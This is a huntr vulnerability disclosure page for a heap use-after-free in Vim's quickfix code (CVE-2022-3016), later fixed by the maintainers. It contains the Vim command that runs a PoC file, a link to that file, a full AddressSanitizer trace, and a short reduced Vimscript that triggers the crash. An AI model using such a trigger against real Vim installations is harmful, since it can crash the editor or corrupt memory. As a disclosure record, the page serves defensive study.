huntr

Use After Free in function get_next_valid_entry in vim/vim

0

✓ Valid Reported on Aug 26th 2022

Description

Use After Free in function get_next_valid_entry at vim/src/quickfix.c:2709.

vim version

```
git log
commit 2bd9dbc19fc67395cfa1226dda7326071ab22464 (HEAD -> master, tag: v9.0.
```

Proof of Concept

```
./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/test/poc/poc6_huaf.dat -c
=================================================================
==1675==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700000
READ of size 4 at 0x6070000003c0 thread T0
    #0 0x56191ab6444c in get_next_valid_entry /home/test/vim/src/quickfix.c
    #1 0x56191ab649f2 in get_nth_valid_entry /home/test/vim/src/quickfix.c:
    #2 0x56191ab64e9a in qf_get_entry /home/test/vim/src/quickfix.c:2847
    #3 0x56191ab67bc6 in qf_jump_newwin /home/test/vim/src/quickfix.c:3491
    #4 0x56191ab678b7 in qf_jump /home/test/vim/src/quickfix.c:3439
    #5 0x56191ab7090e in ex_cnext /home/test/vim/src/quickfix.c:5363
    #6 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #7 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #8 0x56191ad7dea5 in do_ucmd /home/test/vim/src/usercmd.c:1892
    #9 0x56191a903b4c in do_one_cmd /home/test/vim/src/ex_docmd.c:2560
    #10 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #11 0x56191ac16e73 in do_source_ext /home/test/vim/src/
    #12 0x56191ac1809c in do_source /home/test/vim/src/scrip
    #13 0x56191ac14b9c in cmd_source /home/test/vim/src/scriptfile.c:1163
```

Chat with us

```
    #13 0x56191ac14b9c in cmd_source /home/test/vim/src/scriptfile.c:1165
    #14 0x56191ac14c00 in ex_source /home/test/vim/src/scriptfile.c:1189
    #15 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #16 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #17 0x56191a8f907e in do_cmdline_cmd /home/test/vim/src/ex_docmd.c:584
    #18 0x56191aee5dd2 in exe_commands /home/test/vim/src/main.c:3133
    #19 0x56191aedefc4 in vim_main2 /home/test/vim/src/main.c:780
    #20 0x56191aede847 in main /home/test/vim/src/main.c:432
    #21 0x7f956b4ba81c in __libc_start_main ../csu/libc-start.c:332
    #22 0x56191a77ff09 in _start (/home/test/vim/src/vim+0x147f09)

0x6070000003c0 is located 32 bytes inside of 80-byte region [0x6070000003a
freed by thread T0 here:
    #0 0x7f956b8a34d7 in __interceptor_free ../../../../src/libsanitizer/a
    #1 0x56191a7805d4 in vim_free /home/test/vim/src/alloc.c:623
    #2 0x56191ab6a3e7 in qf_free_items /home/test/vim/src/quickfix.c:3921
    #3 0x56191ab786bb in qf_add_entries /home/test/vim/src/quickfix.c:7334
    #4 0x56191ab7a5eb in set_errorlist /home/test/vim/src/quickfix.c:7739
    #5 0x56191ab7e053 in set_qf_ll_list /home/test/vim/src/quickfix.c:8514
    #6 0x56191ab7e1ca in f_setloclist /home/test/vim/src/quickfix.c:8543
    #7 0x56191a89b876 in call_internal_func /home/test/vim/src/evalfunc.c:
    #8 0x56191ad942cc in call_func /home/test/vim/src/userfunc.c:3617
    #9 0x56191ad8ad81 in get_func_tv /home/test/vim/src/userfunc.c:1819
    #10 0x56191ada05be in ex_call /home/test/vim/src/userfunc.c:5578
    #11 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #12 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #13 0x56191a793b3b in apply_autocmds_group /home/test/vim/src/autocmd.
    #14 0x56191a7923d9 in apply_autocmds /home/test/vim/src/autocmd.c:1701
    #15 0x56191ae47a3e in win_enter_ext /home/test/vim/src/window.c:4948
    #16 0x56191ae46f85 in win_enter /home/test/vim/src/window.c:4813
    #17 0x56191ae46273 in win_goto /home/test/vim/src/window.c:4589
    #18 0x56191ab65cd8 in qf_goto_win_with_ll_file /home/test/vim/src/quic
    #19 0x56191ab663d1 in qf_jump_to_usable_window /home/test/vim/src/quic
    #20 0x56191ab67506 in qf_jump_open_window /home/test/vim/src/quickfix.
    #21 0x56191ab67d80 in qf_jump_newwin /home/test/vim/src/quickfix.c:350
    #22 0x56191ab678b7 in qf_jump /home/test/vim/src/quickfix.c:3439
    #23 0x56191ab706c1 in ex_cc /home/test/vim/src/quickfix.c:5317
    #24 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #25 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_d
    #26 0x56191a8f907e in do_cmdline_cmd /home/test/vim/src
    #27 0x56191ab6b2b1 in qf_view_result /home/test/vim/src/quickfix.c:409
    #28 0x56191aab0ada in nv_down /home/test/vim/src/normal.c:4021
    #29 0x56191aa9e646 in normal_cmd /home/test/vim/src/normal.c:937


previously allocated by thread T0 here:
    #0 0x7f956b8a37cf in __interceptor_malloc ../../../../src/libsanitizer/
    #1 0x56191a780331 in lalloc /home/test/vim/src/alloc.c:246
    #2 0x56191a7801b1 in alloc_id /home/test/vim/src/alloc.c:165
    #3 0x56191ab614ef in qf_add_entry /home/test/vim/src/quickfix.c:2113
    #4 0x56191ab783f9 in qf_add_entry_from_dict /home/test/vim/src/quickfi
    #5 0x56191ab787e0 in qf_add_entries /home/test/vim/src/quickfix.c:7347
    #6 0x56191ab7a5eb in set_errorlist /home/test/vim/src/quickfix.c:7739
    #7 0x56191ab7e053 in set_qf_ll_list /home/test/vim/src/quickfix.c:8514
    #8 0x56191ab7e1ca in f_setloclist /home/test/vim/src/quickfix.c:8543
    #9 0x56191a89b876 in call_internal_func /home/test/vim/src/evalfunc.c:2
    #10 0x56191ad942cc in call_func /home/test/vim/src/userfunc.c:3617
    #11 0x56191ad8ad81 in get_func_tv /home/test/vim/src/userfunc.c:1819
    #12 0x56191ada05be in ex_call /home/test/vim/src/userfunc.c:5578
    #13 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #14 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #15 0x56191a793b3b in apply_autocmds_group /home/test/vim/src/autocmd.c
    #16 0x56191a7924c4 in apply_autocmds_retval /home/test/vim/src/autocmd.
    #17 0x56191a79c346 in open_buffer /home/test/vim/src/buffer.c:346
    #18 0x56191a8e71e6 in do_ecmd /home/test/vim/src/ex_cmds.c:3025
    #19 0x56191ab6bba4 in qf_open_new_cwindow /home/test/vim/src/quickfix.c
    #20 0x56191ab6bfd3 in ex_copen /home/test/vim/src/quickfix.c:4317
    #21 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #22 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #23 0x56191ac16e73 in do_source_ext /home/test/vim/src/scriptfile.c:166
    #24 0x56191ac1809c in do_source /home/test/vim/src/scriptfile.c:1808
    #25 0x56191ac14b9c in cmd_source /home/test/vim/src/scriptfile.c:1163
    #26 0x56191ac14c00 in ex_source /home/test/vim/src/scriptfile.c:1189
    #27 0x56191a903c17 in do_one_cmd /home/test/vim/src/ex_docmd.c:2568
    #28 0x56191a8facb6 in do_cmdline /home/test/vim/src/ex_docmd.c:990
    #29 0x56191a8f907e in do_cmdline_cmd /home/test/vim/src/ex_docmd.c:584

SUMMARY: AddressSanitizer: heap-use-after-free /home/test/vim/src/quickfix.
Shadow bytes around the buggy address:
  0x0c0e7fff8020: 00 00 00 00 00 00 00 00 05 fa fa fa fa fa 00 00
  0x0c0e7fff8030: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd
  0x0c0e7fff8040: fd fd fd fd fd fd fa fa fa fa fd fd fd fd fa fa
  0x0c0e7fff8050: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0e7fff8050: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0e7fff8060: 00 00 fa fa fa fa fd fd fd fd fd fd fd fd fd fd
=>0x0c0e7fff8070: fa fa fa fa fd fd fd fd[fd]fd fd fd fd fd fa fa

  0x0c0e7fff8080: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c0e7fff8090: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fd fd
  0x0c0e7fff80a0: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
  0x0c0e7fff80b0: 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 00 00
  0x0c0e7fff80c0: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1675==ABORTING
```

poc download url: https://github.com/Janette88/vim/blob/main/poc6_huaf.dat

Impact

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

CVE
CVE-2022-3016
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.8)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,036 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

I can reproduce it. Reduced POC:
let s:bufnr = bufnr()

```
cal setloclist(0, [{'0': 0, '': ''}])
au BufEnter * cal setloclist(1, [{'t': ''}, {'bufnr': s:bufnr}], 'r')
lopen

exe "norm j<CR>"
lnext
```

janette88 has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

Fixed by Yegappan Lakshmanan in patch 9.0.0286

Bram Moolenaar marked this as fixed in 9.0.0285 with commit 6d24a5 3 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation